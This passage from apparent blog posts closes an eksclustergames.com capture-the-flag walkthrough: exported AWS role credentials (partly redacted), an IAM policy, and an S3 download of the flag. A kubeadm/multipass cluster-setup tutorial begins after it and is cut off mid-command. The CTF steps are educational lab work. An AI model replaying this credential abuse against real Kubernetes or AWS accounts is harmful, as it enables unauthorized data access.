style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"IQoJb3JpZ2luX2VjEAQaCXVzLXd+7ONV2wIgESXuf\u0026#x3C;*REDACTED*\u003e\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Expiration\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2023-11-03T05:09:07+00:00\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"SubjectFromWebIdentityToken\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"system:serviceaccount:challenge5:debug-sa\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"AssumedRoleUser\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"AssumedRoleId\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"AROA2AVYNEVMZEZ2AFVYI:test\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Arn\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/test\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    },\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Provider\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Audience\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"sts.amazonaws.com\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSuccess!  We have some new AWS credentials.  Lets setup our new AWS Session:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAWS_ACCESS_KEY_ID=\"ASIA2AVYNEV\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAWS_SECRET_ACCESS_KEY=\"VTZ4TuDrtHGca\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eexport\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eAWS_SESSION_TOKEN=\"IQoJb3JpZ2luX2VjEAQaCXVzLXd+7ONV2wIgESXuf\u0026#x3C;*REDACTED*\u003e\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ests\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eget-caller-identity\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"UserId\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"AROA2AVYNEVMZEZ2AFVYI:test\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Account\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"688655246681\",\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003e\"Arn\"\u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:sts::688655246681:assumed-role/challengeEksS3Role/test\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eWe are now the new role!   We hopefully have access to S3 now.  At the start\nof the challenge it provided us a clue to what bucket we want to view by\nproviding us the IAM policy:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"json\" data-theme=\"default\"\u003e\u003ccode data-language=\"json\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"Policy\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"Statement\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            {\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"Action\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"s3:GetObject\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"s3:ListBucket\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"Effect\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"Allow\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"Resource\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: [\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:s3:::challenge-flag-bucket-3ff1ae2\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e,\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                ]\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        ],\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e        \u003c/span\u003e\u003cspan style=\"color: #8DDB8C\"\u003e\"Version\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e: \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"2012-10-17\"\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e    }\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #ADBAC7\"\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eSo we want to fetch \u003ccode\u003earn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag\u003c/code\u003e:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eaws\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es3\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecp\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es3://challenge-flag-bucket-3ff1ae2/flag\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003edownload:\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003es3://challenge-flag-bucket-3ff1ae2/flag\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eto\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e./flag\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e       \u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecat\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eflag\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003ewiz_eks_challenge\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e{w0w_y0u_really_are_4n_eks_and_aws\u0026#x3C;*REDACTED*\u003e}\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eand thats the final flag! In my next post I'll discuss the remediation steps\nto prevent this configuration mistakes on your cluster!\u003c/p\u003e","category":"Kubernetes","date":"2023-11-01T19:00:00-05:00","tags":["Kubernetes","SRE","Security"],"title":"eksclustergames.com walk through!"},{"id":["2022","local_kubeadm_cluster"],"path":"2022/local_kubeadm_cluster","contentHtml":"\u003cp\u003eI’m going to show you how to get a real kubernetes cluster setup locally on top of virtual\nmachines!  I’ll be using multipass but feel free to use virtualbox, proxmox, or whatever your\nfavorite cloud provider is.\u003c/p\u003e\n\u003cp\u003ekubeadm a production ready kubernetes install tool and I prefer to use it over minikube, kind,\netc. because it gives you a more real world experience for \u003cem\u003emanaging\u003c/em\u003e the kubernetes cluster.\nThis isn’t important if you are a user of the cluster but if you have to run your own this is\na great way to gain some daily experience.\u003c/p\u003e\n\u003cp\u003eThe kubernetes documentation on kubeadm is great and you can find it \u003ca href=\"https://kubernetes.io/docs/setup/production-environment/tools/kubeadm/create-cluster-kubeadm/\"\u003ehere\u003c/a\u003e.\u003c/p\u003e\n\u003cp\u003eThe differences between this blog and the kubernetes docs is that they leave a lot of decisions\nup to the reader such as:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003echoosing a container runtime\u003c/li\u003e\n\u003cli\u003eSelecting and installing a CNI (container network interface)\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eI’m going to be opinionated and make specific technology decisions such as using containerd and\ncilium so that you don't have to think about those decisions.\u003c/p\u003e\n\u003ch2\u003eGetting your Virtual Machines setup!\u003c/h2\u003e\n\u003cp\u003eThe minimum requirements for a control plane node in kubernetes is 2gb of RAM and 2 CPUs.  Since\nwe actually want to be able to schedule workloads on the workers afterwards we are going to setup\na cluster that looks like this:\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eControl Plane: 2gb RAM, 2 CPU\u003c/li\u003e\n\u003cli\u003eWorker: 4gb RAM, 2 CPU\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003eSince we’ll be using multipass to launch the nodes, we can do that now:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emultipass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elaunch\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-c\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-m\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eG\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-d\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eG\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-n\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emultipass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elaunch\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-c\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e2\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-m\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e4\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eG\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-d\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e10\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eG\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-n\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eworker\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e22.04\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emultipass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003elist\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eName\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                    \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eState\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e             \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eIPv4\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e             \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eImage\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003econtrolplane\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e            \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRunning\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e192.168\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.64.7\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eUbuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e22.04\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eLTS\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003eworker\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e                  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eRunning\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e           \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e192.168\u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e.64.8\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e     \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eUbuntu\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e22.04\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eLTS\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eNow we can start working on our controlplane first, lets shell in:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003emultipass\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eshell\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003econtrolplane\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\n\u003cp\u003eLets first add the kubernetes repo to the system so we have access to all the kubernetes tools:\u003c/p\u003e\n\u003cdiv data-rehype-pretty-code-fragment=\"\"\u003e\u003cpre class=\"github-dark-dimmed\" style=\"background-color: #22272e\" tabindex=\"0\" data-language=\"bash\" data-theme=\"default\"\u003e\u003ccode data-language=\"bash\" data-theme=\"default\" style=\"display: grid;\"\u003e\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eecho\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e\"deb  http://apt.kubernetes.io/  kubernetes-xenial  main\"\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003etee\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/sources.list.d/kubernetes.list\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e \u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ecurl\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-fsSL\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e  \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003ehttps://packages.cloud.google.com/apt/doc/apt-key.gpg\u003c/span\u003e\u003cspan style=\"color: #F47067\"\u003e|\u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003egpg\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e--dearmor\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #6CB6FF\"\u003e-o\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003e/etc/apt/trusted.gpg.d/k8s.gpg\u003c/span\u003e\u003c/span\u003e\n\u003cspan data-line=\"\"\u003e\u003cspan style=\"color: #F69D50\"\u003e❯\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eupdate\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u0026#x26;\u0026#x26; \u003c/span\u003e\u003cspan style=\"color: #F69D50\"\u003esudo\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eapt-get\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: #96D0FF\"\u003eupgrade\u003c/span\u003e\u003cspan style=\"color: #ADBAC7\"\u003e \u003c/span\u003e\u003cspan style=\"color: 